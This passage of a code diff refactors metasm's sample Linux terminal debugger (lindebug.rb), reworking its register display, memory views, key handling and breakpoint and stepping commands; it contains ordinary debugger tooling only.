-      name = e.tag['SONAME']
-      return if name and @loadedsyms[name]
-      @loadedsyms[name] = true
-    end
-
-    last_s = e.segments.reverse.find { |s| s.type == 'LOAD' }
-    vlen = last_s.vaddr + last_s.memsz
-    vlen -= baseaddr if e.header.type == 'EXEC'
-    @filemap[name] = [baseaddr, baseaddr + vlen]
-
-    oldsyms = @symbols.length
-    e.symbols.each { |s|                           
-      next if not s.name or s.shndx == 'UNDEF'
-      sname = s.name
-      sname = 'weak_'+sname if s.bind == 'WEAK'
-      sname = 'local_'+sname if s.bind == 'LOCAL'
-      v = s.value
-      v = baseaddr + v if v < baseaddr
-      @symbols[v] = sname
-      @symbols_len[v] = s.size
-    }
-    if e.header.type == 'EXEC' and e.header.entry >= baseaddr and e.header.entry < baseaddr + vlen
-      @symbols[e.header.entry] = 'entrypoint'
-    end
-    set_status nil
-    log "loaded #{@symbols.length-oldsyms} symbols from #{name} at #{'%08x' % baseaddr}"
-  end
-
-  # scan val at the beginning of each page (custom gdb msg)
-  def pageheadsearch(val)
-    resp = gdb_msg('qy', hexl(val))
-    unhex(resp).unpack('L*')
-  end
-
-  def scansyms
-    # TODO use qSymbol or something
-    pageheadsearch("\x7fELF".unpack('L').first).each { |addr| loadsyms(addr, '%08x'%addr) }
-  end
-
-  # use qSymbol to retrieve a symbol value (uint)
-  def request_symbol(name)
-    resp = gdb_msg('qSymbol:', hex(name))
-    if resp and a = resp.split(':')[1]
-      unhex(a).unpack('N').first
-    end
-  end
-
-  def loadallsyms
-    # kgdb: read kernel symbols from 'module_list'
-    # too bad module_list is not in ksyms
-    if mod = request_symbol('module_list')
-      int_at = lambda { |addr, off| @mem[addr+off, 4].unpack('L').first }
-      mod_size = lambda { int_at[mod, 0] }
-      mod_next = lambda { int_at[mod, 4] }
-      mod_nsym = lambda { int_at[mod, 0x18] }	# most portable. yes.
-      mod_syms = lambda { int_at[mod, 0x20] }
-
-      read_strz = lambda { |addr|
-        if i = @mem.index(?\0, addr)
-          @mem[addr...i]
-        end
-      }
-
-      while mod != 0
-        symtab = [[]]
-
-        @mem[mod_syms[], mod_nsym[]*8].to_str.unpack('L*').each { |i|
-          # make a list of couples
-          if symtab.last.length < 2
-            symtab.last << i
-          else
-            symtab << [i]
-          end
-        }
-
-        symtab.each { |v, n|
- 					n = read_strz[n]
-          # ||= to keep symbol precedence order (1st match wins)
-          @symbols[v] ||= n
-        }
-
-        mod = mod_next[]
-      end
-    end
-  end
-
-  def loadmap(mapfile)
-    # file fmt: addr type name eg 'c01001ba t setup_idt'
-    minaddr = maxaddr = nil
-    File.read(mapfile).each { |l|
-      addr, type, name = l.chomp.split
-      addr = addr.to_i(16)
-      minaddr = addr if not minaddr or minaddr > addr
-      maxaddr = addr if not maxaddr or maxaddr < addr
-      @symbols[addr] = name
-    }
-    if minaddr
-      @filemap[minaddr.to_s(16)] = [minaddr, maxaddr+1]
-    end
-  end
-
-  def backtrace
-    s = findsymbol(eip)
-    if block_given?
-      yield s
-    else
-      bt = []
-      bt << s
-    end
-    fp = ebp
-    while fp >= esp and fp <= esp+0x100000
-      s = findsymbol(self[fp+4, 4].unpack('L').first)
-      if block_given?
-        yield s
-      else
-        bt << s
-      end
-      fp = self[fp, 4].unpack('L').first
-    end
-    bt
-  end
-
-  attr_accessor :logger
-  def log(s)
-    @logger ||= $stdout
-    @logger.puts s
-  end
-
-  # set a temporary status info (nil for default value)
-  def set_status(s)
-    @logger ||= $stdout
-    if @logger != $stdout
-      @logger.statusline = s
-    else
-      s ||= ' '*72
-      @logger.print s + "\r"
-      @logger.flush
-    end
-  end
-
-  def checkbp ; end
-end
diff --git a/lib/metasm/samples/lindebug.rb b/lib/metasm/samples/lindebug.rb
index 2d20c04eeb..7976bdaafa 100644
--- a/lib/metasm/samples/lindebug.rb
+++ b/lib/metasm/samples/lindebug.rb
@@ -47,14 +47,15 @@ module Ansi
     $stdin.ioctl(TIOCGWINSZ, s) >= 0 ? s.unpack('SS') : [80, 25]
   end
   def self.set_term_canon(bool)
-    tty = ''.ljust(256)
-    $stdin.ioctl(TCGETS, tty)
+    ttys = ''.ljust(256)
+    $stdin.ioctl(TCGETS, ttys)
+    tty = ttys.unpack('C*')
     if bool
       tty[12] &= ~(ECHO|CANON)
     else
       tty[12] |= ECHO|CANON
     end
-    $stdin.ioctl(TCSETS, tty)
+    $stdin.ioctl(TCSETS, tty.pack('C*'))
   end
 
   ESC_SEQ = {'A' => :up, 'B' => :down, 'C' => :right, 'D' => :left,
@@ -85,49 +86,11 @@ module Ansi
   end
 end
 
-class Indirect < Metasm::ExpressionType
-  attr_accessor :ptr, :sz
-  UNPACK_STR = {1 => 'C', 2 => 'S', 4 => 'L'}
-  def initialize(ptr, sz) @ptr, @sz = ptr, sz end
-  def bind(bd)
-    raw = bd['tracer_memory'][@ptr.bind(bd).reduce, @sz]
-    Metasm::Expression[raw.unpack(UNPACK_STR[@sz]).first]
-  end
-  def externals ; @ptr.externals end
-end
-
-class ExprParser < Metasm::Expression
-  def self.parse_intfloat(lex, tok)
-    case tok.raw
-    when 'byte', 'word', 'dword'
-      nil while ntok = lex.readtok and ntok.type == :space
-      nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == 'ptr'
-      if ntok and ntok.raw == '['
-        tok.value = Indirect.new(parse(lex), {'byte' => 1, 'word' => 2, 'dword' => 4}[tok.raw])
-        nil while ntok = lex.readtok and ntok.type == :space
-        nil while ntok = lex.readtok and ntok.type == :space if ntok and ntok.raw == ']'
-        lex.unreadtok ntok
-      end
-    else super(lex, tok)
-    end
-  end
-  def self.parse_value(lex)
-    nil while tok = lex.readtok and tok.type == :space
-    lex.unreadtok tok
-    if tok and tok.type == :punct and tok.raw == '['
-      tt = tok.dup
-      tt.type = :string
-      tt.raw = 'dword'
-      lex.unreadtok tt
-    end
-    super(lex)
-  end
-end
-
 class LinDebug
-  attr_accessor :win_data_height, :win_code_height, :win_prpt_height
+  attr_accessor :win_reg_height, :win_data_height, :win_code_height, :win_prpt_height
   def init_screen
     Ansi.set_term_canon(true)
+    @win_reg_height = 2
     @win_data_height = 20
     @win_code_height = 20
     resize
@@ -139,7 +102,7 @@ class LinDebug
     $stdout.flush
   end
 
-  def win_data_start; 2 end
+  def win_data_start; @win_reg_height end
   def win_code_start; win_data_start+win_data_height end
   def win_prpt_start; win_code_start+win_code_height end
 
@@ -164,9 +127,8 @@ class LinDebug
   attr_accessor :dataptr, :codeptr, :rs, :promptlog, :command
   def initialize(rs)
     @rs = rs
-    @rs.logger = self
+    @rs.set_log_proc { |l| add_log l }
     @datafmt = 'db'
-    @watch = nil
 
     @prompthistlen = 20
     @prompthistory = []
@@ -176,6 +138,7 @@ class LinDebug
     @promptpos = 0
     @log_off = 0
     @console_width = 80
+    @oldregs = {}
 
     @running = false
     @focus = :prompt
@@ -185,7 +148,7 @@ class LinDebug
   end
 
   def init_rs
-    @codeptr = @dataptr = @rs.regs_cache['eip']	# avoid initial faults
+    @codeptr = @dataptr = @rs.pc	# avoid initial faults
   end
 
   def main_loop
@@ -201,9 +164,9 @@ class LinDebug
         $stdout.print Ansi.set_cursor_pos(@console_height, 1)
       end
     rescue
-      $stdout.puts $!, $!.backtrace
+      puts $!, $!.backtrace
     end
-    $stdout.puts @promptlog.last
+    puts @promptlog.last
   end
 
   # optimize string to display to stdout
@@ -218,7 +181,7 @@ class LinDebug
   def display_screen(screenlines, cursx, cursy)
 
     @oldscreenbuf ||= []
-    lines = screenlines.to_a
+    lines = screenlines.lines
     oldlines = @oldscreenbuf
     @oldscreenbuf = lines
     screenlines = lines.zip(oldlines).map { |l, ol| l == ol ? "\n" : l }.join
@@ -247,41 +210,40 @@ class LinDebug
   end
 
   def _updateregs
-    text = ''
-    text << ' '
-    x = 1
-    %w[eax ebx ecx edx eip].each { |r|
-      text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r]
-      text << r << ?=
-      text << ('%08X' % @rs.regs_cache[r])
-      text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r]
-      text << '  '
-      x += r.length + 11
+    pvrsz = 0
+    words = @rs.register_list.map { |r|
+      rs = r.to_s.rjust(pvrsz)
+      pvrsz = rs.length
+      rv = @rs[r]
+      ["#{rs}=%0#{@rs.register_size[r]/4}X " % rv,
+        (@oldregs[r] != rv)]
+    } + @rs.flag_list.map { |fl|
+      fv = @rs.get_flag(fl)
+      [fv ? fl.to_s.upcase : fl.to_s.downcase,
+        (@oldregs[fl] != fv)]
     }
-    text << (' '*([@console_width-x, 0].max)) << "\n" << ' '
-    x = 1
-    %w[esi edi ebp esp].each { |r|
-      text << Color[:changed] if @rs.regs_cache[r] != @rs.oldregs[r]
-      text << r << ?=
-      text << ('%08X' % @rs.regs_cache[r])
-      text << Color[:normal] if @rs.regs_cache[r] != @rs.oldregs[r]
-      text << '  '
-      x += r.length + 11
-    }
-    Rubstop::EFLAGS.sort.each { |off, flag|
-      val = @rs.regs_cache['eflags'] & (1<<off)
-      flag = flag.upcase if val != 0
-      if val != @rs.oldregs['eflags'] & (1 << off)
-        text << Color[:changed]
-        text << flag
-        text << Color[:normal]
-      else
-        text << flag
+
+    text = ' '
+    linelen = 1	# line length w/o ansi colors
+
+    owr = @win_reg_height
+    @win_reg_height = 1
+    words.each { |w, changed|
+      if linelen + w.length >= @console_width - 1
+        text << (' '*([@console_width-linelen, 0].max)) << "\n "
+        linelen = 1
+        @win_reg_height += 1
       end
+
+      text << Color[:changed] if changed
+      text << w
+      text << Color[:normal] if changed
       text << ' '
-      x += 2
+
+      linelen += w.length+1
     }
-    text << (' '*([@console_width-x, 0].max)) << "\n"
+    resize if owr != @win_reg_height
+    text << (' '*([@console_width-linelen, 0].max)) << "\n"
   end
 
   def updatecode
@@ -291,21 +253,23 @@ class LinDebug
   def _updatecode
     if @codeptr
       addr = @codeptr
-    elsif @rs.oldregs['eip'] and @rs.oldregs['eip'] < @rs.regs_cache['eip'] and @rs.oldregs['eip'] + 8 >= @rs.regs_cache['eip']
-      addr = @rs.oldregs['eip']
+    elsif @oldregs[@rs.register_pc] and @oldregs[@rs.register_pc] < @rs.pc and @oldregs[@rs.register_pc] + 8 >= @rs.pc
+      addr = @oldregs[@rs.register_pc]
     else
-      addr = @rs.regs_cache['eip']
+      addr = @rs.pc
     end
     @codeptr = addr
 
-    if @rs.findfilemap(addr) == '???'
-      base = addr & 0xffff_f000
+    addrsz = @rs.register_size[@rs.register_pc]
+    addrfmt = "%0#{addrsz/4}X"
+    if not @rs.addr2module(addr) and @rs.shortname !~ /remote/
+      base = addr & ((1 << addrsz) - 0x1000)
       @noelfsig ||= {}	# cache elfmagic notfound
-      if not @noelfsig[base] and base < 0xc000_0000
-        self.statusline = " scanning for elf header at #{'%08X' % base}"
+      if not @noelfsig[base] and base < ((1 << addrsz) - 0x1_0000)
+        self.statusline = " scanning for elf header at #{addrfmt % base}"
         128.times {
-          @statusline = " scanning for elf header at #{'%08X' % base}"
-          if not @noelfsig[base] and @rs[base, 4] == Metasm::ELF::MAGIC
+          @statusline = " scanning for elf header at #{addrfmt % base}"
+          if not @noelfsig[base] and @rs[base, Metasm::ELF::MAGIC.length] == Metasm::ELF::MAGIC
             @rs.loadsyms(base, base.to_s(16))
             break
           else
@@ -320,36 +284,43 @@ class LinDebug
 
     text = ''
     text << Color[:border]
-    title = @rs.findsymbol(addr)
+    title = @rs.addrname(addr)
     pre  = [@console_width-100, 6].max
     post = @console_width - (pre + title.length + 2)
     text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n"
 
+    seg = ''
+    seg = ('%04X' % @rs['cs']) << ':' if @rs.cpu.shortname =~ /ia32|x64/
+
     cnt = @win_code_height
     while (cnt -= 1) > 0
       if @rs.symbols[addr]
         text << ('    ' << @rs.symbols[addr] << ?:) << Ansi::ClearLineAfter << "\n"
         break if (cnt -= 1) <= 0
       end
-      text << Color[:hilight] if addr == @rs.regs_cache['eip']
-      text << ('%04X' % @rs.regs_cache['cs']) << ':'
-      text << ('%08X' % addr)
-      di = @rs.mnemonic_di(addr)
-      di = nil if di and addr < @rs.regs_cache['eip'] and addr+di.bin_length > @rs.regs_cache['eip']
+      text << Color[:hilight] if addr == @rs.pc
+      text << seg
+      if @rs.shortname =~ /remote/ and @rs.realmode
+        text << (addrfmt % (addr - 16*@rs['cs']))
+      else
+        text << (addrfmt % addr)
+      end
+      di = @rs.di_at(addr)
+      di = nil if di and addr < @rs.pc and addr+di.bin_length > @rs.pc
       len = (di ? di.bin_length : 1)
       text << '  '
-      text << @rs[addr, [len, 10].min].unpack('C*').map { |c| '%02X' % c }.join.ljust(22)
+      text << @rs.memory[addr, [len, 10].min].to_s.unpack('C*').map { |c| '%02X' % c }.join.ljust(22)
       if di
         text <<
-        if addr == @rs.regs_cache['eip']
-          "*#{di.instruction}".ljust([@console_width-37, 0].max)
+        if addr == @rs.pc
+          "*#{di.instruction}".ljust([@console_width-(addrsz/4+seg.length+24), 0].max)
         else
           " #{di.instruction}" << Ansi::ClearLineAfter
         end
       else
         text << ' <unk>' << Ansi::ClearLineAfter
       end
-      text << Color[:normal] if addr == @rs.regs_cache['eip']
+      text << Color[:normal] if addr == @rs.pc
       addr += len
       text << "\n"
     end
@@ -361,27 +332,33 @@ class LinDebug
   end
 
   def _updatedata
-    @dataptr &= 0xffff_ffff
+    addrsz = @rs.register_size[@rs.register_pc]
+    addrfmt = "%0#{addrsz/4}X"
+
+    @dataptr &= ((1 << addrsz) - 1)
     addr = @dataptr
 
     text = ''
     text << Color[:border]
-    title = @rs.findsymbol(addr)
+    title = @rs.addrname(addr)
     pre  = [@console_width-100, 6].max
     post = [@console_width - (pre + title.length + 2), 0].max
     text << Ansi.hline(pre) << ' ' << title << ' ' << Ansi.hline(post) << Color[:normal] << "\n"
 
+    seg = ''
+    seg = ('%04X' % @rs['ds']) << ':' if @rs.cpu.shortname =~ /^ia32/
+
     cnt = @win_data_height
     while (cnt -= 1) > 0
-      raw = @rs[addr, 16].to_s
-      text << ('%04X' % @rs.regs_cache['ds']) << ':' << ('%08X' % addr) << '  '
+      raw = @rs.memory[addr, 16].to_s
+      text << seg << (addrfmt % addr) << '  '
       case @datafmt
       when 'db'; text << raw[0,8].unpack('C*').map { |c| '%02x ' % c }.join << ' ' <<
            raw[8,8].to_s.unpack('C*').map { |c| '%02x ' % c }.join
       when 'dw'; text << raw.unpack('S*').map { |c| '%04x ' % c }.join
       when 'dd'; text << raw.unpack('L*').map { |c| '%08x ' % c }.join
       end
-      text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : ?. }.pack('C*')
+      text << ' ' << raw.unpack('C*').map { |c| (0x20..0x7e).include?(c) ? c : 0x2e }.pack('C*')
       text << Ansi::ClearLineAfter << "\n"
       addr += 16
     end
@@ -420,17 +397,17 @@ class LinDebug
     @console_height, @console_width = Ansi.get_terminal_size
     @win_data_height = 1 if @win_data_height < 1
     @win_code_height = 1 if @win_code_height < 1
-    if @win_data_height + @win_code_height + 5 > @console_height
+    if @win_data_height + @win_code_height + @win_reg_height + 3 > @console_height
       @win_data_height = @console_height/2 - 4
       @win_code_height = @console_height/2 - 4
     end
-    @win_prpt_height = @console_height-(@win_data_height+@win_code_height+2) - 1
+    @win_prpt_height = @console_height-(@win_data_height+@win_code_height+@win_reg_height) - 1
     @oldscreenbuf = []
     update
   end
 
   def log(*strs)
-    strs.each { |str|
+      strs.each { |str|
     raise str.inspect if not str.kind_of? ::String
     str = str.chomp
     if str.length > @console_width
@@ -440,85 +417,52 @@ class LinDebug
     end
     @promptlog << str
     @promptlog.shift if @promptlog.length > @promptloglen
-    }
+      }
   end
 
-  def puts(*s)
-    s.each { |s_| log s_.to_s }
-    super(*s) if not @running
-    update rescue super(*s)
-  end
-
-  def mem_binding(expr)
-    b = @rs.regs_cache.dup
-    ext = expr.externals
-    (ext - @rs.regs_cache.keys).each { |ex|
-      if not s = @rs.symbols.index(ex)
-        near = @rs.symbols.values.grep(/#{ex}/i)
-        if near.length > 1
-          log "#{ex.inspect} is ambiguous: #{near.inspect}"
-          return {}
-        elsif near.empty?
-          log "unknown value #{ex.inspect}"
-          return {}
-        else
-          log "using #{near.first.inspect} for #{ex.inspect}"
-          s = @rs.symbols.index(near.first)
-        end
-      end
-      b[ex] = s
-    }
-    b['tracer_memory'] = @rs
-    b
+  def add_log(l)
+    log l
+    puts l if not @running
+    update rescue puts l
   end
 
   def exec_prompt
     @log_off = 0
     log ':'+@promptbuf
     return if @promptbuf == ''
-    lex = Metasm::Preprocessor.new.feed @promptbuf
+    str = @promptbuf
     @prompthistory << @promptbuf
     @prompthistory.shift if @prompthistory.length > @prompthistlen
     @promptbuf = ''
     @promptpos = @promptbuf.length
-    argint = lambda {
-      begin
-        raise if not e = ExprParser.parse(lex)
-      rescue
-        log 'syntax error'
-        return
-      end
-      e = e.bind(mem_binding(e)).reduce
-      if e.kind_of? Integer; e
-      else log "could not resolve #{e.inspect}" ; nil
-      end
-    }
 
-    cmd = lex.readtok
-    cmd = cmd.raw if cmd
-    nil while ntok = lex.readtok and ntok.type == :space
-    lex.unreadtok ntok
+    cmd, str = str.split(/\s+/, 2)
     if @command.has_key? cmd
-      @command[cmd].call(lex, argint)
+      @command[cmd].call(str.to_s)
     else
       if cmd and (poss = @command.keys.find_all { |c| c[0, cmd.length] == cmd }).length == 1
-        @command[poss.first].call(lex, argint)
+        @command[poss.first].call(str.to_s)
       else
         log 'unknown command'
       end
     end
   end
 
+  def preupdate
+    @rs.register_list.each { |r| @oldregs[r] = @rs[r] }
+    @rs.flag_list.each { |fl| @oldregs[fl] = @rs.get_flag(fl) }
+  end
+
   def updatecodeptr
-    @codeptr ||= @rs.regs_cache['eip']
-    if @codeptr > @rs.regs_cache['eip'] or @codeptr < @rs.regs_cache['eip'] - 6*@win_code_height
-      @codeptr = @rs.regs_cache['eip']
-    elsif @codeptr != @rs.regs_cache['eip']
+    @codeptr ||= @rs.pc
+    if @codeptr > @rs.pc or @codeptr < @rs.pc - 6*@win_code_height
+      @codeptr = @rs.pc
+    elsif @codeptr != @rs.pc
       addr = @codeptr
       addrs = []
-      while addr < @rs.regs_cache['eip']
+      while addr < @rs.pc
         addrs << addr
-        o = ((di = @rs.mnemonic_di(addr)) ? di.bin_length : 0)
+        o = ((di = @rs.di_at(addr)) ? di.bin_length : 0)
         addr += ((o == 0) ? 1 : o)
       end
       if addrs.length > @win_code_height-4
@@ -529,36 +473,40 @@ class LinDebug
   end
 
   def updatedataptr
-    @dataptr = @watch.bind(mem_binding(@watch)).reduce if @watch
   end
 
   def singlestep
     self.statusline = ' target singlestepping...'
-    @rs.singlestep
+    preupdate
+    @rs.singlestep_wait
     updatecodeptr
     @statusline = nil
   end
   def stepover
     self.statusline = ' target running...'
-    @rs.stepover
+    preupdate
+    @rs.stepover_wait
     updatecodeptr
     @statusline = nil
   end
   def cont(*a)
     self.statusline = ' target running...'
-    @rs.cont(*a)
+    preupdate
+    @rs.continue_wait(*a)
     updatecodeptr
     @statusline = nil
   end
   def stepout
     self.statusline = ' target running...'
-    @rs.stepout
+    preupdate
+    @rs.stepout_wait
     updatecodeptr
     @statusline = nil
   end
   def syscall
     self.statusline = ' target running to next syscall...'
-    @rs.syscall
+    preupdate
+    @rs.syscall_wait
     updatecodeptr
     @statusline = nil
   end
@@ -578,17 +526,14 @@ class LinDebug
       end
       break if handle_keypress(Ansi.getkey)
     end
-    @rs.checkbp
   end
 
   def handle_keypress(k)
       case k
-      when 4; log 'exiting'; return true	 # eof
-      when ?\e; focus = :prompt
+      when ?\4; log 'exiting'; return true	 # eof
+      when ?\e; @focus = :prompt
       when :f5;  cont
-      when :f6
-        syscall
-        log @rs.syscallnr.index(@rs.regs_cache['orig_eax']) || @rs.regs_cache['orig_eax'].to_s
+      when :f6;  syscall
       when :f10; stepover
       when :f11; singlestep
       when :f12; stepout
@@ -607,9 +552,9 @@ class LinDebug
         when :data
           @dataptr -= 16
         when :code
-          @codeptr ||= @rs.regs_cache['eip']
+          @codeptr ||= @rs.pc
           @codeptr -= (1..10).find { |off|
-            di = @rs.mnemonic_di(@codeptr-off)
+            di = @rs.di_at(@codeptr-off)
             di.bin_length == off if di
           } || 10
         end
@@ -628,25 +573,25 @@ class LinDebug
         when :data
           @dataptr += 16
         when :code
-          @codeptr ||= @rs.regs_cache['eip']
-          di = @rs.mnemonic_di(@codeptr)
+          @codeptr ||= @rs.pc
+          di = @rs.di_at(@codeptr)
           @codeptr += (di ? (di.bin_length || 1) : 1)
         end
       when :left;  @promptpos -= 1 if @promptpos > 0
       when :right; @promptpos += 1 if @promptpos < @promptbuf.length
       when :home;  @promptpos = 0
       when :end;   @promptpos = @promptbuf.length
-      when :backspace, 0x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0
+      when :backspace, ?\x7f; @promptbuf[@promptpos-=1, 1] = '' if @promptpos > 0
       when :suppr; @promptbuf[@promptpos, 1] = '' if @promptpos < @promptbuf.length
       when :pgup
         case @focus
         when :prompt; @log_off += @win_prpt_height-3
         when :data; @dataptr -= 16*(@win_data_height-1)
         when :code
-          @codeptr ||= @rs.regs_cache['eip']
+          @codeptr ||= @rs.pc
           (@win_code_height-1).times {
             @codeptr -= (1..10).find { |off|
-              di = @rs.mnemonic_di(@codeptr-off)
+              di = @rs.di_at(@codeptr-off)
               di.bin_length == off if di
             } || 10
           }
@@ -656,8 +601,8 @@ class LinDebug
         when :prompt; @log_off -= @win_prpt_height-3
         when :data; @dataptr += 16*(@win_data_height-1)
         when :code
-          @codeptr ||= @rs.regs_cache['eip']
-          (@win_code_height-1).times { @codeptr += ((o = @rs.mnemonic_di(@codeptr)) ? [o.bin_length, 1].max : 1) }
+          @codeptr ||= @rs.pc
+          (@win_code_height-1).times { @codeptr += ((o = @rs.di_at(@codeptr)) ? [o.bin_length, 1].max : 1) }
         end
       when ?\t
         if not @promptbuf[0, @promptpos].include? ' '
@@ -676,7 +621,7 @@ class LinDebug
         rescue Exception
           log "error: #$!", *$!.backtrace
         end
-      when 0x20..0x7e
+      when ?\ ..?~
         @promptbuf[@promptpos, 0] = k.chr
         @promptpos += 1
       else log "unknown key pressed #{k.inspect}"
@@ -685,240 +630,89 @@ class LinDebug
   end
 
   def load_commands
-    ntok = nil
-    @command['kill'] = lambda { |lex, int|
+    @command['kill'] = lambda { |str|
       @rs.kill
       @running = false
       log 'killed'
     }
-    @command['quit'] = @command['detach'] = @command['exit'] = lambda { |lex, int|
+    @command['quit'] = @command['detach'] = @command['exit'] = lambda { |str|
       @rs.detach
       @running = false
     }
-    @command['closeui'] = lambda { |lex, int|
-      @rs.logger = nil
+    @command['closeui'] = lambda { |str|
       @running = false
     }
-    @command['bpx'] = lambda { |lex, int|
-      addr = int[]
-      @rs.bpx addr
+    @command['bpx'] = lambda { |str|
+      @rs.bpx @rs.resolve(str)
     }
-    @command['bphw'] = lambda { |lex, int|
-      type = lex.readtok.raw
-      addr = int[]
-      @rs.set_hwbp type, addr
+    @command['bphw'] = @command['hwbp'] = lambda { |str|
+      type, str = str.split(/\s+/, 2)
+      @rs.hwbp @rs.resolve(str.to_s), type
     }
-    @command['bl'] = lambda { |lex, int|
-      log "bpx at #{@rs.findsymbol(@rs.wantbp)}" if @rs.wantbp.kind_of? ::Integer
-      @rs.breakpoints.sort.each { |addr, oct|
-        log "bpx at #{@rs.findsymbol(addr)}"
-      }
-      (0..3).each { |dr|
-        if @rs.regs_cache['dr7'] & (1 << (2*dr)) != 0
-          log "bphw #{{0=>'x', 1=>'w', 2=>'?', 3=>'r'}[(@rs.regs_cache['dr7'] >> (16+4*dr)) & 3]} at #{@rs.findsymbol(@rs.regs_cache["dr#{dr}"])}"
-        end
-      }
-    }
-    @command['bc'] = lambda { |lex, int|
-      @rs.clearbreaks
-    }
-    @command['bt'] = lambda { |lex, int| @rs.backtrace { |t| puts t } }
-    @command['d'] =  lambda { |lex, int| @dataptr = int[] || return }
-    @command['db'] = lambda { |lex, int| @datafmt = 'db' ; @dataptr = int[] || return }
-    @command['dw'] = lambda { |lex, int| @datafmt = 'dw' ; @dataptr = int[] || return }
-    @command['dd'] = lambda { |lex, int| @datafmt = 'dd' ; @dataptr = int[] || return }
-    @command['r'] =  lambda { |lex, int|
-      r = lex.readtok.raw
-      nil while ntok = lex.readtok and ntok.type == :space
+    @command['bt'] = lambda { |str| @rs.stacktrace { |a,t| add_log "#{'%x' % a} #{t}" } }
+    @command['d'] =  lambda { |str| @dataptr = @rs.resolve(str) if str.length > 0 }
+    @command['db'] = lambda { |str| @datafmt = 'db' ; @dataptr = @rs.resolve(str) if str.length > 0 }
+    @command['dw'] = lambda { |str| @datafmt = 'dw' ; @dataptr = @rs.resolve(str) if str.length > 0 }
+    @command['dd'] = lambda { |str| @datafmt = 'dd' ; @dataptr = @rs.resolve(str) if str.length > 0 }
+    @command['r'] =  lambda { |str|
+      r, str = str.split(/\s+/, 2)
       if r == 'fl'
-        flag = ntok.raw
-        if i = Rubstop::EFLAGS.index(flag)
-          @rs.eflags ^= 1 << i
-          @rs.readregs
-        else
-          log "bad flag #{flag}"
-        end
-      elsif not @rs.regs_cache[r]
+        @rs.toggle_flag(str.to_sym)
+      elsif not @rs[r]
         log "bad reg #{r}"
-      elsif ntok
-        lex.unreadtok ntok
-        newval = int[]
-        if newval and newval.kind_of? ::Integer
-          @rs.send r+'=', newval
-          @rs.readregs
-        end
+      elsif str and str.length > 0
+        @rs[r] = @rs.resolve(str)
       else
-        log "#{r} = #{@rs.regs_cache[r]}"
+        log "#{r} = #{@rs[r]}"
       end
     }
-    @command['run'] = @command['cont'] = lambda { |lex, int|
-      if tok = lex.readtok
-        lex.unreadtok tok
-        cont int[]
-      else cont
-      end
+    @command['g'] = lambda { |str|
+      @rs.go @rs.resolve(str)
     }
-    @command['syscall']    = lambda { |lex, int| syscall }
-    @command['singlestep'] = lambda { |lex, int| singlestep }
-    @command['stepover']   = lambda { |lex, int| stepover }
-    @command['stepout']    = lambda { |lex, int| stepout }
-    @command['g'] = lambda { |lex, int|
-      target = int[]
-      @rs.singlestep if @rs.regs_cache['eip'] == target
-      @rs.bpx target, true
-      cont
-    }
-    @command['u'] = lambda { |lex, int| @codeptr = int[] || break }
-    @command['has_pax'] = lambda { |lex, int|
-      if tok = lex.readtok
-        lex.unreadtok tok
-        if (int[] == 0)
-          @rs.set_pax false
-        else
-          @rs.set_pax true
-        end
-      else @rs.set_pax !@rs.has_pax
-      end
-      log "has_pax now #{@rs.has_pax}"
-    }
-    @command['loadsyms'] = lambda { |lex, int|
-      mapfile = ''
-      mapfile << ntok.raw while ntok = lex.readtok
-      if mapfile != ''
-        @rs.loadmap mapfile
-      else
-        @rs.loadallsyms
-      end
-    }
-    @command['scansyms'] = lambda { |lex, int| @rs.scansyms }
-    @command['sym'] = lambda { |lex, int|
-      sym = ''
-      sym << ntok.raw while ntok = lex.readtok
-      s = []
-             @rs.symbols.each { |k, v|
-        s << k if v =~ /#{sym}/
-      }
-      if s.empty?
-        log "unknown symbol #{sym}"
-      else
-        s.sort.each { |s_| log "#{'%08x' % s_} #{@rs.symbols_len[s_].to_s.ljust 6} #{@rs.findsymbol(s_)}" }
-      end
-    }
-    @command['delsym'] = lambda { |lex, int|
-      addr = int[]
-      log "deleted #{@rs.symbols.delete addr}"
-      @rs.symbols_len.delete addr
-    }
-    @command['addsym'] = lambda { |lex, int|
-      name = lex.readtok.raw
-      addr = int[]
-      if t = lex.readtok
-        lex.unreadtok t
-        @rs.symbols_len[addr] = int[]
-      else
-        @rs.symbols_len[addr] = 1
-      end
-      @rs.symbols[addr] = name
-    }
-    @command['help'] = lambda { |lex, int|
-      log 'commands: (addr/values are things like dword ptr [ebp+(4*byte [eax])] ), type <tab> to see all commands'
-      log ' bpx <addr>'
-      log ' bphw [r|w|x] <addr>: debug register breakpoint'
-      log ' bl: list breakpoints'
-      log ' bc: clear breakpoints'
-      log ' cont [<signr>]: continue the target sending a signal'
-      log ' d/db/dw/dd [<addr>]: change data type/address'
-      log ' g <addr>: set a bp at <addr> and run'
-      log ' has_pax [0|1]: set has_pax flag'
-      log ' loadsyms: load symbol information from mapped files (from /proc and disk)'
-      log ' ma <addr> <ascii>: write memory'
-      log ' mx <addr> <hex>: write memory'
-      log ' maps: list maps'
-      log ' r <reg> [<value>]: show/change register'
-      log ' r fl <flag>: toggle eflags bit'
-      log ' scansyms: scan memory for ELF headers'
-      log ' sym <symbol regex>: show symbol information'
-      log ' addsym <name> <addr> [<size>]'
-      log ' delsym <addr>'
-      log ' u <addr>: disassemble addr'
-      log ' reload: reload lindebug source'
-      log ' ruby <ruby code>: instance_evals ruby code in current instance'
-      log ' closeui: detach from the underlying RubStop'
-      log 'keys:'
-      log ' F5: continue'
-      log ' F6: syscall'
-      log ' F10: step over'
-      log ' F11: single step'
-      log ' F12: step out (til next ret)'
-      log ' pgup/pgdown: move command history'
-    }
-    @command['reload'] = lambda { |lex, int| load $0 ; load_commands }
-    @command['ruby'] = lambda { |lex, int|
-      str = ''
-      str << ntok.raw while ntok = lex.readtok
-      instance_eval str
-    }
-    @command['maps'] = lambda { |lex, int|
-      @rs.filemap.sort_by { |f, (b, e)| b }.each { |f, (b, e)|
-        log "#{f.ljust 20} #{'%08x' % b} - #{'%08x' % e}"
-      }
-    }
-    @command['ma'] = lambda { |lex, int|
-      addr = int[]
-      str = ''
-      str << ntok.raw while ntok = lex.readtok
-      @rs[addr, str.length] = str
-    }
-    @command['mx'] = lambda { |lex, int|
-      addr = int[]
-      data = [lex.readtok.raw].pack('H*')
-      @rs[addr, data.length] = data
-    }
-    @command['resize'] = lambda { |lex, int| resize }
